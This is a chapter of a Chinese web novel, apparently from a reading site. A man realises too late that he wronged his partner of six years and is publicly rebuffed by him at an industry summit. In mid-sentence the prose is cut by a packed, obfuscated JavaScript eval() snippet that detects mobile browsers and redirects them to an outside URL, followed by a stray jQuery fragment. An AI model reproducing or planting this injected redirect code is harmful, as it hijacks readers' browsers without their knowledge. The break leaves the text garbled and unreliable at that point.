车子停在别墅前，他推门下车，夜风一吹，酒意混杂着更深的眩晕猛地窜上头顶。
他背脊挺得笔直，用残存的意志力维持着步伐的稳定，指纹解锁，推开别墅大门。玄关感应灯应声而亮，照亮空无一人的过道。前一秒，他的身影还带着冷硬轮廓；后一秒，大门在身后自动缓缓合拢。
几乎是同时，“咚！”
一声不算太响、但足够清晰的闷响，从门内传来。是重物撞击在实木家具上的声音。
尚未离开的周助隐约听到，心里咯噔一下，下意识想：应该不会是他老板吧？刚才看着……好像还能走直线？嗯，肯定不是。下一秒，职业素养让他立刻悄无声息转身离开。我什么都不知道，什么都没听见。
门内，邵既明并没有如周助脑补那般狼狈倒地。他只是因为骤然卸力加上眩晕，整个人失去平衡，前额重重地磕在了玄关的装饰矮柜边缘。
他晃了晃头，试图驱散那阵嗡鸣和眼前乱窜的金星。视线下意识地扫向地面，玄关处，原本并排放置的两双居家拖鞋，现在只剩下一双属于他的。旁边那双鞋头有个可爱羊毛毡笑脸的位置，空荡荡的。那是南景的拖鞋，他记得南景说这个笑脸看起来傻乎乎的，很解压。
南景回来了？
他几乎是踉跄着直起身，甩开脚上硌人的皮鞋，甚至没去穿那双孤零零的拖鞋，就这么赤着脚，踩着冰凉的大理石地面，快步走进了客厅。
灯没开。只有窗外庭院灯微弱的光线渗入，一切看起来都和他离开时一样。整洁，空旷，昂贵，了无生气。
不对。不一样。
他的目光急切地扫过每一个角落——沙发上的毯子依旧搭在那里，但折叠的边角过于规整，是家政阿姨的手法，不是南景随手一披的随意；茶几上纤尘不染，没有看到南景看了一半倒扣着的书；那盆天堂鸟还在窗边，但叶片似乎有些蔫了……
“南景？”他喉咙干涩，无意识地低唤了一声。
酒精和某种近乎恐慌的冲动驱使着他，他转身，几乎是跑着冲上了楼梯。他猛地推开主卧紧闭的房门——
“怎么又喝那么多？”
恍惚间，他好像听到一个熟悉的声音，带着些许无奈和关切，在耳边响起。他甚至仿佛看到那个熟悉的身影从床上掀开被子，快步朝他走来，眉头微蹙，眼神里全是心疼的柔软。
“给你备了蜂蜜水，喝点。你再这么喝，你的胃都得去看老中医了。”
幻觉。是记忆，还是他醉得太厉害产生的幻听？
邵既明狠狠闭了闭眼，再睁开。卧室里一片黑暗，只有门廊的光线在地上投出一小片梯形光区。没有人掀开被子，没有人朝他走来，更没有那杯总是温温蜂蜜水。
他打开灯，刺目的光线让他眯了眯眼。房间和他离开时一模一样，甚至更整洁。他快步走到大床的左侧——那是南景习惯睡的一边。他单膝跪在床边，有些急切地拉开了床头柜的抽屉。
首先映入眼帘的，是一个小小的木质相框，背朝上放着。他拿起来，翻转。
他好像从来都没有，和南景好好拍过一张合影。南景提过几次，说“我们好像连张像样的合照都没有”，他总是以“麻烦”、“没必要”搪塞过去。原来，南景只能通过这样的方式，留存一点关于“他们”的影像。
相框旁边，静静地躺着一串钥匙扣。很廉价，塑料材质，造型是个憨态可掬的卡通招财猫，颜色都有些褪了。邵既明盯着它看了好几秒，才依稀想起，好像是某次在进口超市买东西，金额到了一定数额送的赠品。当时南景也在，接过赠品时眼睛亮了一下，小声说“还挺可爱”。他当时不以为意，觉得这种东西拿不出手。可南景却像得了什么宝贝，仔仔细细地收了起来，甚至舍不得真的挂在钥匙上，怕磨坏了。
邵既明的手指有些颤抖，轻轻拂过那只褪色的招财猫。他将钥匙扣小心翼翼地放回原处，又将那张偷拍的相框，拿出来摆在床头柜上。做完这些，他撑着床边站起来，有些踉跄地走向衣帽间。
他的衣服占据了大半空间，按照色系和种类排列得一丝不苟。而属于南景的那一侧，原本挂得满满当当的衣柜，此刻空了大半。但并非全空。几件他印象中是自己“顺手”给南景买的衣服，都还整整齐齐地挂在那里。南景一件都没带走。
他只带走了真正属于他自己的东西，那些带着他个人印记、用自己钱买的、或者对他有特别意义的物品。而这些带着“邵既明”标签的馈赠，被他原封不动地留下了。
邵既明背靠着冰冷的衣柜滑坐在地，赤着的脚底传来地板的沁凉。但大脑的某个部分却异常清醒，甚至残酷。
过去六年的无数细节，不受控制地、一帧帧在眼前闪回。
不是那些激烈的争吵或温馨的浪漫——他们之间几乎没有那些。而是更平淡、更日常，却在此刻显出锋利棱角的碎片。
是他加班到深夜回来，总能发现客厅留着一盏灯，饭桌上扣着尚且温热的夜宵。是他随口提了句某家餐厅不错，第二天南景就会默默订好位子。是他生病发烧昏沉时，额头上不断更换的凉毛巾和守在床边彻夜不睡的模糊身影。是他习惯性伸手，总能准确地在固定位置找到他需要的东西。是家里永远充足的新鲜水果，温度适宜的洗澡水，熨烫平整的衬衫……是那种无声无息、渗透到生活每一个毛孔里的妥帖与照顾。
他曾经心安理得地享受这一切，将它们归类为南景很细心、他擅长这个，甚至觉得是他应该做的，毕竟……是南景设计了开始，不是吗？
可现在，那层名为误会的支撑他所有冷漠和理所当然的基石，轰然倒塌。
如果那杯酒不是南景的设计，如果那场混乱的开始与南景的意愿毫无关系……
那么，这六年来，南景所做的一切，又算什么？
一个被无辜卷入、却因为他的误会和冷漠而不得不背负责任的傻瓜。
而他邵既明呢？
他以为自己是在容忍一个算计来的伴侣，用习惯和省心来维持一段不必投入真心的关系。他觉得自己给出了关系和稳定，已经是对那杯算计之酒最大的宽恕。
可谁会真的和一个自己毫无感觉、甚至心存厌恶的人，朝夕相处整整六年？
哪怕再合适，再省心。
六年，两千多个日夜。
他真的，对南景，毫无感觉吗？
他不是没有心动过。在阳光很好的午后，看到南景低头修剪天堂鸟时沉静的侧脸；在他难得下厨却搞得一团糟，南景一边无奈笑着接手一边说“下次还是我来”时；甚至在很多个疲惫的夜晚，回到这个被南景打理得温暖舒适的家，看到那个人带着笑意迎上来时……那些细微的悸动，是真实存在过的。
只是每一次，那点微弱的火花，都会立刻被他用“那杯酒”、“他的算计”、“不能让他得寸进尺”的冰冷念头，毫不留情地掐灭。他给自己套上了一层厚厚的、名为理智和防备的盔甲，将南景所有的好，都解读为别有用心的讨好或必须偿还的债务。
他以为自己是在掌控局面，是在惩罚算计者。可实际上，他惩罚的，是一个对他怀揣着最真挚情感、却被他用最残忍的误解伤害了六年的人。而他真正困住的，是他自己那颗，早已在不知不觉中交付出去、却因骄傲和偏见而不敢承认、只会用冷漠来自我欺骗的心。
原来，他才是那个最别扭、最可笑、也最可悲的人。
用一场自欺欺人的误会，筑起高墙，将那个唯一能让他感到家的温暖和安心的人，隔绝在外。然后用六年的时间，亲手将那份温暖消耗殆尽，还反过来质问对方：你为什么不满意？
邵既明将脸深深埋进屈起的膝盖，肩膀颤抖起来。
衣帽间里光线明亮，映照着满柜的华服，也映照着坐在冰冷地面上、身影蜷缩、显得无比孤清的男人。
他终于看清了自己的心。
————
南景起得很早，心里惦记着今天的行业峰会。
厨房里飘出米粥温润的香气和煎蛋的油香。他做了简单的白粥，煎了单面太阳蛋，还顺手拌了个小黄瓜+咸菜+咸鸭蛋。自己吃也是吃，本着“做都做了，不能浪费”以及“独苦苦不如众苦苦”的朴素原则，他走到周冉卧室门前，抬手——
“哐、哐、哐！”
不是敲，简直是砸。
“哐哐哐！”
门板都在微微震颤。
里面传来一声闷闷的带着浓重睡意的哀嚎，然后是窸窸窣窣、什么东西掉在地上的声音。几分钟后，卧室门被猛地拉开。
周冉顶着一头堪比鸟窝的乱发，睡衣领口歪斜，一只眼睛勉强睁开一条缝，另一只还顽固地闭着。她整个人像是还没从休眠模式完全启动，眼神涣散迷离，纯粹是困的。她趿拉着拖鞋，梦游般飘到餐桌旁，坐下，盯着面前那碗冒着热气的白粥和那颗澄黄诱人的煎蛋，发了足足十秒钟的呆。
然后，她拿起勺子，舀了一小口粥，慢慢咀嚼。咽下去后，她才像是灵魂归位了一点点，用一种带着浓浓起床气开口，声音还有些沙哑：“我刚刚躺在床上想，世界上几十亿人，每天早上，闹钟一响，几亿人同时从床上弹起来，表情痛苦，脑子里想的居然是又要去上那个破班……一想到大家上班上得想死，居然只是为了谋生，就觉得这事儿……好他妈幽默哦，呵呵。”她干笑了两声，毫无笑意，然后转过头，用一种看透世事的眼神看着南景，补了一句，“辛苦了哈，打工人。”
南景正慢条斯理地喝着粥，闻言，眼皮都没抬一下：“不辛苦，命苦。毕竟，想死不是真死，不上班，可真可能饿死。两害相权，还是去幽默一下吧。”
周冉被他的逻辑噎了一下，随即翻了个白眼，但手还是很诚实地又舀了一大勺粥塞进嘴里。咽下去后，她忽然放下勺子，双手合十，表情夸张地闭上眼，对着天花板开始念念有词：“感谢我亲爱的母亲大人，独具慧眼，为我的财务自由事业奠定了坚实的物质基础。让我可以坐在这里，一边吃着爱心早餐，一边思考人生的幽默，而不是一边啃着速食面包一边挤地铁。阿门。”
“那你最该感谢的，难道不是你那位眼光独到、且……嗯，慷慨的后爸？”
周冉立刻睁开眼，做了个“嘘”的手势，表情肃穆中带着点戏谑：“小声点，后爸他老人家已经去见上帝了，估计正在接受上帝他老人家的聆讯呢。咱们要心怀感恩，更要保持低调，懂吗？”她拿起筷子夹起那颗太阳蛋，整个塞进嘴里，含糊不清地说，“希望上帝宽恕他……以及他留下的这笔让我可以尽情吐槽的遗产。阿——咳咳，蛋有点大……”
南景看着她被蛋黄噎得直瞪眼、手忙脚乱找水喝的样子，低低地笑出了声，将自己手边的温水杯推了过去。
国际会议中心外，峰会背景板在略带寒意的江风中岿然不动，上面烫金的行业标识反射着冷硬的天光。衣冠楚楚的人们鱼贯而入，低声交谈间。
邵既明踏入主会场时，演讲已近尾声。巨大的环形会场座无虚席，他的目光几乎没有在主讲人身上停留，几乎是下意识地，像被某种无形的磁力牵引，掠过了前排几个显眼的位置，然后定格在侧方靠前、一个并不算中心但视野极佳的席位上。
南景坐在那里。
不是他记忆中任何一种样子。
不是穿着宽松家居服在清晨厨房里煮咖啡的柔软侧影，不是蜷在沙发角落看书时微微耷拉下眼睫的闲适，也不是最后那段日子里，尽管疲惫却依然试图维持体面平和的隐忍模样。
他穿着剪裁极为精良的浅色西装，肩线挺括，腰身收得恰到好处，白色的衬衫领口露出一小截，系着一条色泽沉静、纹理细腻的深蓝领带。头发向后梳得一丝不苟，露出清晰的额头和眉眼。他微微侧头，正与邻座一位头发花白的外国老者低声交谈。
邵既明停下了脚步，心脏像是被那只曾属于他的手，不轻不重地攥了一把。他站在原地，隔着攒动的人头和空气里浮动的微尘，看着那个熟悉又无比陌生的身影。
台上的演讲者用激昂的语调宣布了茶歇时间，会场瞬间松驰，人群如潮水般涌向两侧的休息区。南景与那位外国老者一同起身，握手，交换名片，脸上是得体的微笑。他微微侧身，似乎准备与老者一同移步，目光顺势扫过会场，有那么零点几秒，与邵既明的视线在空中不期而遇。
没有任何波澜。南景的眼神平静得场外那深秋的湖面，没有惊讶，没有闪躲，没有恨意，甚至连半丝意外的涟漪都欠奉。那目光只是极其短暂地掠过邵既明，就像掠过会场里任何一根无关紧要的立柱或一块背景板，随即毫不停留地转向了老者，做了一个“请”的手势。
一股冰冷的寒意，瞬间从邵既明的脊椎攀爬上来。他见过南景各种状态下的眼睛——含笑的、委屈的、动情的、温柔的……却从未见过如此彻底的平静。那平静比任何激烈的恨意都更让他心惊，那意味着他在对方的情感世界里，已经被彻底归零，成了一个无需加载情绪的无效数据。
几乎是下意识的动作，在南景转身准备与老者离开的瞬间，邵既明已经拨开面前缓慢移动的人群，几个大步跨了过去。他动作有些急，甚至不小心碰掉了旁边一位女士手中的宣传册，只来得及匆匆丢下一句“抱歉”，视线却死死锁住那个即将融入人群的背影。
“南景。”
他的因用力而显得有些生硬，在嘈杂的背景音中不算突出，但足够让前面几步远的人听见。
南景的脚步停下了。他没有立刻回头，只是微微偏了下头，似乎在确认声音的来源，又像是一个本能的迟疑。然后，他才缓缓转过身，脸上依旧是那份无懈可击待客式的平静，目光落在邵既明脸上，没有询问，没有意外，只是等待。
旁边那位外国老者有些疑惑地看了看他们，识趣地对南景点了点头，用带着口音的英语说了句“稍后见”，便先走向了咖啡区。
只剩下他们两人，站在尚未完全散开的人群边缘。
邵既明的喉咙发紧，千头万绪堵在胸口，最终挤出的，却是意料之中、却也苍白无力的三个字：“我们谈谈。”
南景静静地站着，手里还拿着那份会议资料和一支深蓝色的钢笔。
“邵总，我十五分钟后，有个预约会议。”他抬起手腕看了看时间。
“就几句话。”邵既明的声音低了下去。他试图向前迈一小步，拉近距离。
几乎是同时，南景的手腕极轻微地动了一下。一个向侧后方回收的动作，避开了任何可能的触碰。那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046467|194740||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只曾经在他熟睡时为他掖好被角、在他醉酒后为他擦脸、在他烦躁时被他无意识握住的手。
邵既明的手指僵在半空，他猛地抬眼，对上南景的目光。
南景也正看着他，眼神依旧平静。
“邵总，”他又重复了一遍这个称呼，语气比刚才更疏离了几分，“我的时间，现在很贵。”
说完，他微微颔首，没有再多看邵既明一眼，转身，步伐稳健地朝着与咖啡区相反的技术洽谈区走去。西装背影挺直，很快便与几位同样西装革履、正在等待的欧洲技术专家汇合。他微微倾身，与其中一人握手，侧脸上重新浮起那种专业的神情，很快被交谈的人群围住。
邵既明站在原地，伸出的手还悬在那里，指尖冰凉。会场里温暖如春，人声鼎沸，可他却觉得一股寒气从脚底直冲天灵盖，四肢百骸都僵住了。那一刹，背景失焦，万物噤声。。
他看见南景在人群中微微侧身，对一位提问者耐心地解释着什么，手指偶尔点在平板电脑的屏幕上，动作利落自信
邵既明忽然清晰地意识到——他从未真正了解过这个与他同床共枕了六年的人。或者说，他了解的那个南景，是对方为他、为那个家精心剥离出来、打磨圆润的一面。而那个西装革履、在国际峰会上与顶级专家侃侃而谈、时间以分秒计价的南景……于他而言，完完全全是一个陌生人。
峰会冗长的议程终于步入尾声，落地窗外，暮色已如化不开的浓墨，沉沉地压下来。
邵既明没有立刻离开。他几乎在演讲全部结束后，就下意识地寻找那个身影。南景似乎是被几位同行围住了，站在靠近技术展示区的落地窗前，显得格外清隽，也格外遥远。他脸上带着适度的微笑，偶尔点头，手指在平板电脑上划动，似乎在敲定最后的细节。
邵既明站在原地，隔着川流不息、即将散场的人群，他看见南景与最后一位握手，礼貌地颔首，然后拿起搭在旁边椅背上的风衣，搭在臂弯，转身朝出口走来。
不能再等了。他甚至没注意到，和他们公司有过合作的一位做实业起家、性格向来豪爽直接的赵总，正从另一个方向走来，显然是看到了他，准备过来打招呼。
“南景。”邵既明再次开口，他向前走了两步，截在了南景通往主出口的路径上。
南景的步伐停了下来。他抬起眼，目光落在邵既明脸上。
“邵总，”他先开口，依旧是这个称呼，“还有事？”
这时，赵总也走了过来，脸上带着热络笑容，拍了拍邵既明的肩膀：“既明！还没走？我刚还在那边看到……”他的话戛然而止，因为他看到了邵既明对面站着的南景，以及两人之间那种明显不同寻常的气氛。赵总是知道邵既明身边有这么个人的，虽然没见过几次，但圈子里隐约有些传闻。
邵既明仿佛没感觉到赵总的到来，他的全部注意力都锁在南景身上。
“就耽误你一分钟，”邵既明的声音很低，“关于今天上午……还有之前，很多事。我需要……”
“邵总，”南景再次打断了他，语速稍微快了一丝，透露出明确的不想多谈，“如果是公事，可以联系我的助理预约时间。如果是私事，”他停顿了半秒，“我以为，我们已经没有需要沟通的私事了。”
“没有需要沟通？”邵既明重复着这几个字，像是第一次理解它们的含义，一股荒谬的火气猛地窜上来，“南景，六年！我们之间……怎么可能一句没有需要沟通就完了？那些事……那些误会……”他差点就要脱口而出“那杯酒”，但在赵总明显竖起耳朵的注视下，硬生生刹住，额角青筋隐现。
“邵既明。”南景连“邵总”都不叫了，直接连名带姓，他终于向前走了一小步，不是为了靠近，而是为了将距离拉近到一个可以压低声音的范围。他的目光如沉静的水，映出邵既明此刻有些失态的狼狈。
“行业峰会，公开场合，你我的朋友、同行、潜在合作伙伴都在看着。无论我们之间有过什么，都已经结束了。成年人最基本的体面，是尊重对方的决定，和不打扰对方现在的生活。你这样，很难看。”
“难看？”邵既明像是被这个词刺中了，低哑地反问，眼底泛起血丝，“南景，我只是想……”
“你想怎样，都与我无关了。”南景再次截断他，他甚至微微侧头，看了一眼旁边明显在努力降低存在感、却忍不住偷偷瞥来的赵总，然后重新看向邵既明：“邵先生，请让一下。我赶时间。”
“邵先生”。
邵既明整个人僵在那里，他看着南景平静的脸，看着他眼中希望他立刻消失的漠然，看着他微微侧身、准备从旁边绕过的姿态……他张了张嘴，却发现喉咙被什么东西死死堵住，发不出任何声音。
南景没有再看他，也没有看旁边表情精彩的赵总，径直从他身侧走了过去。
赵总在旁边尴尬地站了半晌，才小心翼翼地凑近，干咳一声：“那个……既明，没事吧？我看南……南先生好像挺忙的哈……”
邵既明没有回答。
赵总摸了摸鼻子，觉得这气氛实在压抑，想拍拍他肩膀安慰，手伸到一半又缩了回来，叹了口气：“走吧，出去抽根烟？这憋了一天的……”
两人走到酒店外专用的吸烟露台。深秋夜风寒彻骨，却吹不散邵既明心头的窒闷。他接过赵总递来的烟，点燃，深深吸了一口。他沉默地吞吐着烟雾，望着远处江面上游轮的灯火，眼神空洞。
赵总陪着抽了半支烟，终究是没忍住好奇心，加上几分对下友的关切（以及八卦），斟酌着开口：“既明，你跟刚才那位南先生……真分了？圈子里前段时间是有点风声，我还以为是瞎传……看你刚才那样，还没放下？”
邵既明夹着烟的手指几不可察地颤抖了一下，烟灰簌簌落下。他沉默了许久，久到赵总以为他不会回答了，正准备打个哈哈岔开话题。
“是我配不上他。”
邵既明的声音嘶哑得厉害，像是被砂纸磨过，混在夜风里，几乎要被吹散。
赵总一愣，没想到会得到这样一个答案。在他的认知里，邵既明条件优越，心高气傲，何曾听过他用这种语气评价自己，还是为了一个……曾经在身边似乎并不那么起眼的伴侣。
“是我没珍惜。”邵既明又重复了一遍，更像是说给自己听。他狠狠吸了口烟，猩红的火光在他指尖明灭。“六年……我以为给了安稳，其实是困住了他。我以为他在索取，其实是我一直在透支。等到他什么都不要了，我才发现……”他顿住，喉结剧烈地滚动了一下，将后面的话和翻涌的苦涩一起咽了下去，只剩下嘶哑的余音在寒风里飘荡，“才发现，我什么都没给过，也……不配再要了。”
赵总听得有些动容，拍了拍他的背：“哎，这话说的……感情的事，谁说得清。不过既明，你能这么想……也是明白了。算了，过去就过去吧，以后……”
第二天，某个聚集了金融圈、科技圈中高层的小群里，一条八卦悄然流传开来，源头似乎就是那位赵总酒后唏嘘的感慨。消息绘声绘色地描述了昨晚峰会结束后，邵氏那位向来眼高于顶的太子爷邵既明，如何当众被前男友冷淡拒绝，而后在朋友面前，亲口承认“是我配不上他，是我没珍惜”，神色如何颓唐落寞。